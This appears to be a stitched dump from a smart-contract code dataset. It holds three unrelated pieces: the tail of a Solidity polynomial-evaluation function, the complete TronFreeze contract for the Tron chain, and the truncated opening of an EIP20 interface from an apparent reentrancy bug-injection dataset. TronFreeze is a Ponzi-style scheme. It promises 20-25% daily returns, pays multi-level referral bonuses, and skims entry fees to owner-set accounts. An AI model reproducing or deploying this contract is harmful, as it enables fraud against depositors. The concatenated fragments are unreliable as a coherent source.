add(0xb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e243, mulmod(add(0x6eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f52, mulmod(add(0x90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e, mulmod(add(0x2f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec2, mulmod(add(0x4adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea, mulmod(add(0x1a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea, mulmod(add(0x15ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d847, mulmod(add(0x7f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c8684382, mulmod(add(0x64d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e5, mulmod(add(0x84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a, mulmod(add(0x28b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad, mulmod(add(0x6d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db, mulmod(add(0x1fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x45b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df7, mulmod(add(0xe505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f, mulmod(add(0x2a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a68, mulmod(add(0x40a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e7, mulmod(add(0x31a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d150, mulmod(add(0x68384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd856, mulmod(add(0x1a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba0, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be8, mulmod(add(0x399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c, mulmod(add(0x68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf40, mulmod(add(0x4387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f, mulmod(add(0x3159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c, mulmod(add(0x2868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f5, mulmod(add(0x68486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc59, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea3, mulmod(add(0x50c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb, mulmod(add(0x3c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc5, mulmod(add(0x3924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf029211815, mulmod(add(0x1cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a2, mulmod(add(0x360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e1, mulmod(add(0x357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e01742, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a, mulmod(add(0x5ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f5, mulmod(add(0x5dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb, mulmod(add(0x22aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba, mulmod(add(0x78f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f5, mulmod(add(0x2d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee, mulmod(add(0x6207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a0, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae47, mulmod(add(0x160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c8, mulmod(add(0x4846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb, mulmod(add(0x2e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef25, mulmod(add(0x73724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a35, mulmod(add(0x23bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd59, mulmod(add(0x737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d652, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf, mulmod(add(0x318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc17707, mulmod(add(0x7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b48460, mulmod(add(0x181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc4, mulmod(add(0x2353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df41, mulmod(add(0x775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac922, mulmod(add(0x316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c, mulmod(add(0x47f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d, mulmod(add(0x6f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d4, mulmod(add(0x685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad80, mulmod(add(0x4fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f, mulmod(add(0xb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d9, mulmod(add(0x59869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe, mulmod(add(0xc61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b637, mulmod(add(0x206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b, mulmod(add(0x4255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd, mulmod(add(0x5fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb3, mulmod(add(0x50f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e4, mulmod(add(0x7b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca0, mulmod(add(0x728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a5, mulmod(add(0x72c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a, mulmod(add(0x6dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f44, mulmod(add(0x842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e76, mulmod(add(0x14899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a9, mulmod(add(0x1bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a11, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d, mulmod(add(0x40f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda1, mulmod(add(0x1495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae, mulmod(add(0x7c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c06, mulmod(add(0x119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa4, mulmod(add(0x1dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be1, mulmod(add(0x76d656560dac569683063278ea2dee47d935501c2195ff53b741efe81509892, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa3, mulmod(add(0x6df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db4396, mulmod(add(0x9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc0, mulmod(add(0x2065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be, mulmod(add(0x611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b, mulmod(add(0x9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe1, mulmod(add(0x7f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd05, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f, mulmod(add(0x35ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e31, mulmod(add(0x575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be41, mulmod(add(0x319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c, mulmod(add(0x49aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f232482892, mulmod(add(0x5030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce10225, mulmod(add(0x59cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb3, mulmod(add(0x7dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c, mulmod(add(0x73c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af, mulmod(add(0x744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
}
return result % PRIME;
}
}
| 174,148 | 14,062 |
91354897d1e68455f7e4121055ca06958e84a5db9758f15d1d140a53d4e61966
| 23,320 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXgYDSuETcLLEEk1bPwFaxgL9ffkSfRybM_TronFreeze.sol
| 6,086 | 22,133 |
//SourceUnit: New_Tron_freeze.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 level1RefEarn;
uint256 level2RefEarn;
uint256 level3RefEarn;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronFreeze is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 40; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 100;
uint256 private constant REFERENCE_RATE = 180;
uint256 private constant DEVELOPER_EXIT_RATE = 60; //per thousand
//uint256 private constant ADMIN_EXIT_RATE = 40;
uint256 public constant REFERENCE_LEVEL1_RATE = 100;
uint256 public constant REFERENCE_LEVEL2_RATE = 50;
uint256 public constant REFERENCE_LEVEL3_RATE = 30;
uint256 public constant MINIMUM = 50000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 1; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(250,15*60*60*24,250)); //15 days
investmentPlans_.push(Objects.Plan(220,20*60*60*24,220)); //20 days
investmentPlans_.push(Objects.Plan(200,30*60*60*24,200)); //30 days
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory, uint256, uint256, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.planCount,
currentDividends,
newDividends,
investor.level3RefCount,
investor.level1RefEarn,
investor.level2RefEarn,
investor.level3RefEarn);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}
else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
uint256 stakePercentage = (_amount.mul(DEVELOPER_EXIT_RATE)).div(1000);
marketingAccount_.transfer(stakePercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++)
{
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
// uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
// marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount);
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else
{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
if(_ref1==1234)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
uid2Investor[_ref1].level1RefEarn = _refAmount.add(uid2Investor[_ref1].level1RefEarn);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
uid2Investor[_ref1].level1RefEarn = _refAmount.add(uid2Investor[_ref1].level1RefEarn);
}
}
if (_ref2 != 0) {
if(_ref2==1234)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
uid2Investor[_ref2].level2RefEarn = _refAmount.add(uid2Investor[_ref2].level2RefEarn);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
uid2Investor[_ref2].level2RefEarn = _refAmount.add(uid2Investor[_ref2].level2RefEarn);
}
}
if (_ref3 != 0) {
if(_ref3==1234)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
uid2Investor[_ref3].level3RefEarn = _refAmount.add(uid2Investor[_ref3].level3RefEarn);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
uid2Investor[_ref3].level3RefEarn = _refAmount.add(uid2Investor[_ref3].level3RefEarn);
}
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 289,097 | 14,063 |
117387b45d8cba7517a3ba76e10aadffc54acb3fbe17d554b644ebaa9a401d12
| 13,364 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Reentrancy/Sol/buggy_1.sol
| 3,703 | 12,590 |
pragma solidity >=0.4.22 <0.6.0;
contract EIP20Interface {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
